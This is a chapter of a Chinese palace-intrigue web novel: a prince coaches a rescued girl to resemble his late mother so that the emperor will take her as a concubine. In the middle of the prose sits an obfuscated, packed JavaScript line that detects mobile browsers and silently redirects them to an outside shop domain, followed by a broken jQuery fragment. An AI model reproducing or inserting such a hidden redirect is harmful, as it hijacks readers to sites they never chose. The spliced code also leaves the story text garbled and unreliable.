茶客们多是男人,尽管被疏散了,依旧站在不远处呈圆圈观望这桌。
一位姑娘捧着热茶,抬眸间尽是水光潋滟。
十二月的寒冬,丢出去一块生肉都能冻硬。
可她身上却只挂了一层单薄的月白软烟罗裙。
肩头的布料有些破损,露出了冻得发红的肌肤,连件像样的外披都没有。
玉颜清减,因着脖子以下发红的两边锁骨而更显苍白。
她勉力一笑,带着易碎的坚强,比哭泣更让人心疼难耐,难怪如此惹人呵护。
掌柜见九爷夫妇迟迟不发话,福晋面色更是不善,讪讪地凑近二人问道:
“小二看她可怜才放她进来的。若是主家不喜……小人即刻让人打发出去!”
“不用。”
九爷只消看她一眼,就能确定了此人的用处。
他招了手下人近身,吩咐了几句,便转身要走。
“回府。带这姑娘一起。”
姑娘闻声抬起眼眸,眉间似蹙非蹙,眼神迷蒙里带着轻愁,欲语还休。
“什么?”
殊宁快步走到九爷身后,奋力拉住他的衣袖,克制着要发火的语气问他为什么。
九爷脚步顿住。
想到之后要做的事,他一把扯过自己的袖子,毫不在乎身后被拉扯晃了身的殊宁,头也不回地走了。
可怜姑娘被九爷安置在福晋院后的耳房,奴仆们见二位主子脸色都不太好,纷纷借口退下躲得远远的。
房内只剩他们三人。
回府路上,可怜姑娘已将自身经历尽数交代。
姑娘姓乔,单名一个衫字。
她说自己来自南边,父亲早丧后,母亲带着她一路北上,要去京城投靠姨母。
路上遭遇劫匪,母亲为了保她丧命在山里,连尸骨都未曾找到。
她一路艰难打听,终于来到京城,也找到了姨母姨丈一家。
只是人家说儿子要科考,她的八字又与自家女儿不合,不到一日就把她打发出来了。
背景是否真实,已有陈最去查了。
但无论怎样,殊宁还是想问问他为什么。
这下倒好,人家端亲王朝她眉眼弯弯,笑道:
“往后还要烦请福晋多多照顾乔姑娘啦。”
殊宁眉心狂跳,想着母亲说的不错,该来的还是要来。
只是他们大婚不过两月,是不是有点太心急了?
不行,她咽不下这口气!
方才在外面,两人改了行头,她也顾虑到可能会有熟人认出他们,所以没有多说什么。
如今回了府……殊宁抄起旁边的长颈瓶,觉得顺手极了。
她笑眯眯问道:“王爷纳这位妹妹回来是要给侧福晋之位,还是侍妾呀?”
九爷上前贴近她一步,同样回了她一个张牙舞爪的笑脸。
“纳这位妹妹回来给咱们作庶母。”
“阿宁。你夫君气量狭隘,见不得皇后与太子得意忘形的样子。”
“这位妹妹来得正好,正好送进宫去给皇额娘找些乐子。”
殊宁不敢置信地瞪大了眼睛,即刻联想到来年三月的选秀。
真是怪了,方才在贵胄酒楼她怎么就没想到呢!
后宫多年未进新人,皇帝不顾朝臣劝阻,硬是要明年开春就给自己办一场选秀。
大家针对选秀时间紧迫,无法大办磨破了嘴皮子,皇帝才勉强同意只办小选。
小选,顾名思义就是在世家中择选适龄女子,不再大费周章地从民间开始集选。
这姑娘一看就不是世族之女,也不能怪殊宁没想到这一层。
况且,乔姑娘比她还要小上两岁,这样花一样的年纪。
也就只有九爷这个黑心肝的,才会看到人家第一眼就把主意打到自己爹身上。
但是殊宁还是不知道他是如何确定乔姑娘一定会中选的。
甚至九爷的语气,加上先前他故作为色弃妻的样子。
她总觉得九爷有九成把握能让各世族白费心思培养秀女,也就是停掉此次选秀。
“你怎么保证乔姑娘一定能入选?”
九爷顿了顿,收起满脸笑意,语气平淡又带着淡淡的悲伤,像是在提一件不愿忆起的往事。
“额娘临走的时候,神态就与乔姑娘在酒楼里一模一样……”
一样的悲戚,一样的无辜,一样的……坚强。
“你是说淑孝皇贵妃?!”
殊宁震惊他的这个打算,要用最亲之人的替身去布局,刀刀都在刨自己的肉。
她将视线落回乔姑娘身上。
凝视良久,才发觉乔姑娘并非揉捏造作才有的我见犹怜。
而是她本身生得便芳泽无加,清冷破碎,这才让人有了那股强取豪夺来的怜惜之爱。
九爷似是唤起那段不好的记忆,蹙着眉再也难松。
他叹了口气,将场子交给殊宁。
“阿宁,我会请嬷嬷来辅佐,往后的事劳烦你了。最晚元月十五,这姑娘就该送进去了。”
端亲王府上下会对此事缄口不提。
保证了皇帝见到乔姑娘宛若旧人的惊喜,也保障其入宫不会受到任何谏言,扫除一切障碍。
但……
他终究还是没有背过身,只是停住步子,轻轻说了一句。
“换个名字吧。今后要当娘娘的人。”
“就叫——乔听鹭。”
水天清,影湛波平。鱼翻藻鉴,鹭点烟汀。
换个名字,就当重启了新的人生。
之后的半把个月,乔听鹭都乖乖跟着教习嬷嬷学规矩。
嬷嬷严苛,她就踏踏实实从头学起,从未有过一次顶撞。
而殊宁呢,名义上是九爷派她来监督乔格格的。
可听着嬷嬷讲那些宫里她没听过的规矩,心里总有些发虚。
所以上完第一堂课,殊宁便主动请缨要跟乔姑娘一块儿听课。
不过她可比乔听鹭自在,有时打打瞌睡、走走神,嬷嬷也不会说她。
上头没人等着检查,谁又会去找一个已嫁福晋的麻烦呢。
别看乔听鹭长得楚楚动人,实则脑子万分活络。
九爷就是看在这一点上,每隔几日来查规矩都会多告诉她一些技巧。
比如模仿淑孝皇贵妃走路的姿态、说话的神韵,服饰上只教她往那个风格上靠,太过头的复刻打扮就有些明显了。
除却巫山不是云,这一计还是最讲究恰如其分。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779506|209836||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不能多,也不能少了。
乔听鹭一点就通,往往当日教完当日就能出结果。
要说殊宁是怎么知道的……
因为每当乔听鹭按照皇贵妃的喜好搭好衣服走出来,九爷只看一眼,就离得远远的,不再望过来。
殊宁尝试过一个人过去关心他,得到的却只有对方抬起面孔四顾茫然的难以释怀。
她索性不走了。
就这样静静地守着他,陪他熬过一轮又一轮明月当空。
时间长了,殊宁也旁敲侧击地问过他,只是这个问题实在难以开口。
她能怎么问呢?
世人皆知皇贵妃是红颜早逝,没有灾病,未遭暗害。
再者,若是真的被迫离世。
以自己夫君的手段,即便下手的人是皇后,他都会不惜一切要皇后血债血偿。
既然这些都不是,他又何故对额娘之死如此难以介怀,甚至连一向最疼爱他的皇帝在这件事上都被九爷一起记恨。
殊宁最终还是鼓起勇气问了。
九爷面对她眉头依旧紧拧,似乎是还没准备好拉她入局,又或许是真的难以启齿。
他撇过了头,只说现在知道了对她不好。
他说,上一辈的恩怨不该牵扯到他们一辈上,说逝者已逝,谈这些无用……
殊宁心里想着他太自私。
他也是小辈,怎么就让他一人承受这些痛苦呢?
他斟酌再三,盯着殊宁许久不语,最终还是为难地透露了几句。
“阿宁,皇帝是你的公爹。”
“但他欠我们额娘的太多太多,还不完的。”
“他一定会将最好的一切都补偿到乔听鹭身上,为了弥补对额娘的愧疚,”
“——以此填补他那溃烂恶臭的真心。”
殊宁将这些话牢记在心里,仅仅在几日之后就亲眼得到了印证。
正月十二,外命妇觐见。
一一见过各宫妃嫔,命妇们从后头御花园逛出来就该出宫了。
偏偏这个时候,叶赫那拉家三房的羡敏格格被冰面一滑,摔倒在地上。
露团眼眶一红,揉着眼泪就要喊疼。
殊宁身后的乔听鹭见状急忙上前,不顾冰面寒冻,双膝跪在小格格旁边为她揉按。
偏偏这个时候,皇帝携熙贵妃与宁妃逛园子,转角出来便撞见了这一幕。
时隔多日,殊宁仍然无法忘记彼时皇帝看她们的眼神。
熙贵妃怒骂乔听鹭是乡村野妇、惺惺作态,被皇帝当场训斥,令其回宫思过。
怀里的羡敏格格疼得忍着哭声,五官轮廓都与她的姑母极像。
旁边护着她的乔听鹭被洛氏一呵斥,即刻借势露出无辜又坚韧的神情。
这两个姑娘宛如受惊的小鹿,让皇帝恍惚闪了眼,见到了淑孝闭眼前最后易碎的坚强。
尤其是那个神态风韵都与之相像的别家少女……
皇帝当场命太医随羡敏格格回叶赫那拉府,务必让其伤处完全痊愈。
这一套忙活下来已是黄昏。
待殊宁带人回到端亲王府,一道而来的,还有邢公公亲自送来的旨意。
旨意写明,封乔听鹭为淑常在,赐居钟粹宫。